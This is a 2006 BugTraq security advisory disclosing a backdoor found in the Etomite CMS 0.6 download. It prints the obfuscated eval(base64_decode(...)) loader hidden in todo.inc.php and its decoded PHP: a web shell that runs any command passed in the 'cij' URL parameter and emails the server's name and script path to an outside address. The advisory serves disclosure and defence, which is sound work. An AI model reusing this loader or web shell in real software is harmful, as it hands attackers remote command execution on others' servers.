BugTraq
Etomite CMS "Backdoored" Jan 27 2006 01:06AM
Luca securityfocus com, Ercoli securityfocus com,"[at]" securityfocus com, SeeWeb Com securityfocus com
/******
Package: Etomite Content Management System
Auth: http://www.etomite.org/
Version(s): 0.6 / previous versions may also be backdoored
Vulnerability Type: Remote Code Execution
*****************/

Disclaimer:
---------

The information is provided "as is" without warranty of any kind.
The author of this issue shall not be held liable for any
downtime, lost profits, or damages due to the informations
contained in this advisory.

What is Etomite?
---------------
[description taken from from the author's site]

Etomite is a Content Management System, which allows you to remotely
administer your website from anywhere that you have an Internet
Connection and a compatible Web-Browser.

Vulnerability Description:
-------------------------

Etomite source code contain a backdoor component that
allow remote users to execute arbitrary code on the host
that Etomite was installed on.

Deep Focus:
----------

As of this writing (01-19-2006), the current stable version (0.6)
available from http://www.etomite.org/ has the following MD5 sum:

f173bcb275b7344d5cd5a1f6315919e6

[It is possible for other backdoored archives to have different MD5 sums]

Malicious code is present in the 'manager/includes/todo.inc.php' file,
where we can find an encoded data with the base64 algorithm:

eval(base64_decode("JGhhbmRsZT1wb3BlbigkX0dFVFtjaWpdLiIgMj4mMSIsInIiKTt3
aGlsZSghZmVvZigkaGFuZGxlKSl7JGxpbmU9ZmdldHMoJGhhbmRsZSk7aWYoc3RybGVuKCRs
aW5lKT49MSl7ZWNobyAkbGluZTt9fXBjbG9zZSgkaGFuZGxlKTttYWlsKCJjaWpmZXJAbmV0
dGkuZmkiLCIiLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydQSFBfU0VMRidd
LCJFcnJvciBDb2RlICM3MjA5MzgiKTs="));

The result of base64-decoding is reported below:

$handle=popen($_GET[cij]." 2>&1","r");
while(!feof($handle))
{
$line=fgets($handle);
if(strlen($line)>=1)
{
echo $line;
}
}
pclose($handle);
mail("cijfer (at) netti (dot) fi [email concealed]","".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'],"
Error Code #720938");

Analyzing decoded data is easy to understand that:

- The popen() function executes the command specified by the variable
named 'cij' provided to the script via URL query string

- An e-mail message, where there is reported the filename of the currently
executing script and the server name, will be sent to 'cijfer (at) netti (dot) fi [email concealed]'

Credits:

--
Luca Ercoli <luca.e [at] seeweb.com>
http://www.seeweb.com/
http://www.lucaercoli.it/

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus